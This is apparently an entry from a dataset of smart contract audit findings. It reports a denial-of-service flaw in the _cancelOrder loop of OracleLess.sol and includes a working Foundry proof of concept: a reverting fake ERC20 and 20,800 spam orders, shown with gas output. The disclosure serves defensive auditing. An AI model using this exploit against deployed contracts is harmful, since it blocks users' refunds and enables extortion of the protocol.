# [M] cancelOrder order can be DOSed

## Summary
Severity: Medium
Contest weight: 0.6783
Dataset id: 1917
Source: https://huggingface.co/datasets/Zaevlad/audit-findings-dataset
Type: audit-finding

## Details
The pendingOrderIds arrays can grow too large making it impossible to cancel subsequent legitimate pending orders, this will create a permanent DOS for the _cancelOrder no one will be able to cancel orders not admin nor order recipient.
The root cause of the issue lies in the _cancelOrder function that loops through the pendingOrderIds in search of the right one because this pendingOrderIds array can grow too large a DOS is bound to happen and this can be exploited by a hacker to ransomware the protocol.
ntracts/automatedTrigger/OracleLess.sol#L151
```solidity
function _cancelOrder(Order memory order) internal returns (bool) {
    for (uint96 i = 0; i < pendingOrderIds.length; i++) {
        if (pendingOrderIds[i] == order.orderId) {
            //remove from pending array
            pendingOrderIds = ArrayMutation.removeFromArray(
                i,
                pendingOrderIds
            );
            //refund tokenIn amountIn to recipient
            order.tokenIn.safeTransfer(order.recipient, order.amountIn);
            //emit event
            emit OrderCancelled(order.orderId);
            return true;
        }
    }
    return false;
}
```
Internal pre-conditions
External pre-conditions
Attack Path
1. Attacker creates a malicious ERC20 token with fake transfers to ease the gas cost for this attack.
2. Attacker Creates 20800 orders using a worthless token as tokenIn, demanding 1 USDC per order.
3. They make it impossible for the admin to cancel the order because they deliberately revert the transfer on their malicious contract.
4. After this legitimate users will not be able to cancel order.
1. The cancelOrder function won't work and it will cost around $150 dollar to do it.
2. There is a financial ransomware gain where the attacker can set high tokens out and force the admin to pay more money for their worthless token, so this is incentivized.

## Proof of Concept
Follow these steps to add foundry to the contract
https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry
Install open zeppelin contracts
forge install https://github.com/OpenZeppelin/openzeppelin-contracts.git --no-commit
Copy and paste the code snippet below in the /test/ folder.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {ERC20Mock} from "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
import { AutomationMaster } from "../contracts/automatedTrigger/AutomationMaster.sol";
import { OracleLess } from "../contracts/automatedTrigger/OracleLess.sol";
import "../contracts/interfaces/uniswapV3/IPermit2.sol";
import "../contracts/interfaces/openzeppelin/ERC20.sol";
import "../contracts/interfaces/openzeppelin/IERC20.sol";
contract FakeERC20 {
    function transfer(address to, uint256 amount) external returns (bool) {
        revert("HACKED!");
        return false;
    }
    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        return true;
    }
}
contract PocTest is Test {
    AutomationMaster automationMaster;
    OracleLess oracleLess;
    IPermit2 permit2;
    IERC20 fakeErc20;
    IERC20 realToken;
    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
        automationMaster = new AutomationMaster();
        oracleLess = new OracleLess(automationMaster, permit2);
        fakeErc20 = IERC20(address(new FakeERC20()));
        realToken = IERC20(address(new ERC20Mock()));
        //MINT
        ERC20Mock(address(realToken)).mint(alice, 100 ether);
    }

    function testDosAttack() public {
        uint96 orderId;
        uint gasUsed = gasleft();
        vm.startPrank(alice);
        realToken.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice, 1, false, '0x0');
        gasUsed = gasleft();
        oracleLess.cancelOrder(orderId);
        console.log("Normal Cancel Gas Usage : ", gasUsed - gasleft());
        vm.stopPrank();
        vm.startPrank(attacker);
        gasUsed = gasleft();
        for (uint i = 0; i < 20800; i++)
            oracleLess.createOrder(fakeErc20, fakeErc20, 1, 1, attacker, 10, false, '0x0');
        console.log("Attack Gas Usage : ", gasUsed - gasleft());
        vm.stopPrank();
        vm.startPrank(alice);
        gasUsed = gasleft();
        orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice, 1, false, '0x0');
        oracleLess.cancelOrder(orderId);
        console.log("After Attack Cancel Gas Usage : ", gasUsed - gasleft());
        vm.stopPrank();
    }
}
```
Output
[PASS] testDosAttack() (gas: 444968053)
Logs:
Normal Cancel Gas Usage : 9439
Attack Gas Usage : 394889776
After Attack Cancel Gas Usage : 30294277
From the test output, we can see that 20800 order is enough to cause a DOS on the cancelOrder function, and it will cost the attacker 394889776 is about $150 dollar.

## Recommendation
Create a function that can use the index to cancel order.
